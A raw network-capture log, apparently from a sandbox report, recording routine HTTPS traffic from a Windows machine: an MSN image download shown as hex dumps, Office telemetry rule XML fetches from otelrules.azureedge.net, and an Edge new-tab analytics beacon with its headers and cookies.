2024-11-17 11:35:39 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 23 Oct 2024 15:34:18 GMT X-Datacenter: eastap X-ActivityId: 451a31b5-6ea3-4c00-9f6a-916587318427 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O X-Source-Length: 73239 Content-Length: 73239 Cache-Control: public, max-age=230399 Expires: Wed, 20 Nov 2024 03:35:38 GMT Date: Sun, 17 Nov 2024 11:35:39 GMT Connection: close
2024-11-17 11:35:39 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-11-17 11:35:39 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: de f2 97 ec 9c ed 9c 43 67 d1 d1 ca aa 79 7b d6 8f d8 ac 60 0d 41 a1 f5 bc d5 5f 49 bf 44 e6 ba c5 7d 9a d6 45 fe 42 d2 b5 48 28 3f db f4 76 72 37 7b db 58 35 28 23 fb ad e5 fe 17 83 92 21 56 f9 8b 26 b1 0b 4f b9 5f 27 47 29 73 bb 52 d2 3d 20 42 d3 e1 43 d8 f5 5c c7 ab 31 ff 00 33 e9 f6 76 b9 b4 05 61 57 b6 9e dd 5f 71 0b ef ac 0d f8 7b 63 d6 f9 77 88 ee 94 05 70 9c 69 fe 2a dc f0 f2 fc e7 74 ac 0a f4 4c f8 13 f2 2f 1c c5 78 6a e3 19 bf 2b 2c 2f 12 56 89 aa 0e 34 78 67 eb 7a 8a aa 46 48 b8 9c 73 ec 98 cb ae 8f 07 79 80 ca 60 52 27 83 a0 dc 90 ed 25 d3 4f 78 17 68 a5 54 52 68 93 bd 3c 5f 38 a8 0a 66 f1 dc be 52 60 31 52 54 a3 8c 02 45 27 83 e9 5f ab 94 ca 15 e3 91 b9 e5 29 97 ed 87 21 69 26 da 94 9c f3 a9 dd ab e5 f3 3c aa 53 79 40 51 20 8e d6 8c a0 9f 8e Data Ascii: Cgy{`A_ID}EBH(?vr7{X5(#!V&O_'G)sR= BC\13vaW_q{cwpi*tL/xj+,/V4xgzFHsy`R'%OxhTRh<_8fR`1RTE'_)!i&<Sy@Q
2024-11-17 11:35:39 UTC	16384	IN	Data Raw: d4 ba a5 24 a9 49 cc 53 16 ee 00 fb df 3c 9c 42 6a a0 92 68 28 92 77 7a f7 97 41 b9 dc db 3d e2 92 27 d0 42 44 c5 73 57 17 aa 4b 74 95 7b 1a e2 98 46 60 6b eb 3e e7 4a ee 04 12 13 fd c7 44 ee 9d f1 a0 7c cb 01 7d e9 5e 48 34 95 74 f7 3b ff 00 0e 6e 95 a2 4a 11 e9 15 1c d4 ad 33 76 92 ec 2a bc a5 8e f5 00 a9 5e 8c e6 13 c4 e9 2e 81 73 f1 64 db 04 80 91 4d e4 fd 5d e8 41 b5 65 76 ad f9 94 a3 e6 56 83 d4 e9 b3 ca 9b 69 04 2c 05 95 6d 90 f5 b7 f2 67 7f e6 db 70 84 da 4a 48 a8 4e 18 9c 86 dd 54 5f 19 6b 4e 34 79 3d 18 84 cc 0f 1d 5f a3 29 4a e0 ee 14 c5 49 3f 37 c1 55 84 77 f5 2a 89 93 3e 92 8e e0 1c 89 27 85 7c c5 cb 97 0c 93 1b 1e 20 a5 91 dd 26 80 99 3b c9 e2 fb 69 1f 89 ef 16 94 e0 c9 20 e6 63 86 92 d8 e5 d3 64 27 21 b9 79 99 dc 06 a7 b1 ea ca b7 00 5b 51 Data Ascii: $IS<Bjh(wzA='BDsWKt{F`k>JD\|}^H4t;nJ3v^.sdM]AevVi,mgpJHNT_kN4y=_)JI?7Uw>'\| &;i cd'!y[Q
2024-11-17 11:35:40 UTC	5904	IN	Data Raw: 0d d2 ea 58 99 b9 db e0 db ae 66 db 07 18 1b 90 c5 bc d9 0d c9 69 b6 43 f0 6d 8b 8c 82 90 e4 86 2d d5 81 4b 6c 1b 64 14 97 25 8b 8c 1c b4 dd 1a 60 9c 97 1c a6 e6 50 b5 5d cd f8 39 3c 3d ec d2 4c 68 c0 a8 7b 2c 89 07 ed 6b bc 19 11 1b 03 2f a7 ea 09 e1 1e 21 96 13 a2 bf c4 e6 34 ef 3d 4e 19 54 42 24 6f a8 71 ad fd bd db d1 63 99 50 94 04 ab 62 d3 3d 58 a5 ea 45 9f 88 a7 24 dd fe 94 9f 79 78 6c f2 c9 57 a5 89 27 4c 24 17 ea ac a9 40 01 87 14 6a 52 67 c4 a4 3c cb 95 c7 6f 5d bf a8 05 cb e9 81 71 55 d5 31 5e ac 4e e4 5c 56 30 02 64 1c d4 48 4c 78 47 cd ea 29 50 af 77 64 f8 a8 9e d9 60 84 83 38 87 86 14 80 36 50 38 cb 42 a2 2a 7e 6f 31 da da d5 48 4c f5 fd 1e 6c 57 37 0e b1 ea 70 02 d4 f0 ad 79 8a 9e b2 cd 53 32 60 f4 d8 f0 dc 32 69 03 a6 c7 b8 62 c7 8b 71 f0 Data Ascii: XfiCm-Kld%`P]9<=Lh{,k/!4=NTB$oqcPb=XE$yxlW'L$@jRg<o]qU1^N\V0dHLxG)Pwd`86P8B*~o1HLlW7pyS2`2ibq

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113539Z-16547b76f7f64d6whC1DFWf9vn00000002v0000000004wcw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a3ba40ae-d01e-007a-0c16-37f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113539Z-164f84587bfrrmqdhC1DFWvu6s00000002sg00000000bzm7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:39 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:39 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113539Z-16547b76f7ff9zf4hC1DFW2pfc00000001tg000000008w2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:39 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113539Z-16547b76f7fbkfmzhC1DFWm9tw00000003vg000000006hpd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:39 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:39 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113539Z-1866b5c5fbbxjblthC1DFW6b480000000260000000006tk8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:39 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49903	20.125.209.212	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:39 UTC	1261	OUT	GET /c.gif?rnd=1731843335786&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=dbfc48a00c7f49c1b8860b061f5d2b53&activityId=dbfc48a00c7f49c1b8860b061f5d2b53&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EF0E439C952A43C2A81A9472C22E3198&MUID=26C7834DE9B0666626559677E895674C HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=26C7834DE9B0666626559677E895674C; _EDGE_S=F=1&SID=3725C0F51DA26D161494D5CF1C466C4A; _EDGE_V=1; SM=T
2024-11-17 11:35:39 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=26C7834DE9B0666626559677E895674C; domain=.msn.com; expires=Fri, 12-Dec-2025 11:35:39 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=26C7834DE9B0666626559677E895674C; domain=c.msn.com; expires=Fri, 12-Dec-2025 11:35:39 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sun, 24-Nov-2024 11:35:39 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sun, 17-Nov-2024 11:45:39 GMT; path=/; SameSite=None; Secure; Date: Sun, 17 Nov 2024 11:35:39 GMT Connection: close Content-Length: 42
2024-11-17 11:35:39 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: eda1c5d7-201e-0033-2eb8-37b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113540Z-16547b76f7fxqj4khC1DFWpypw00000001f000000000dry5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:40 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:40 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113540Z-16547b76f7fz92z5hC1DFWmdx800000002mg000000001sx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:40 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> 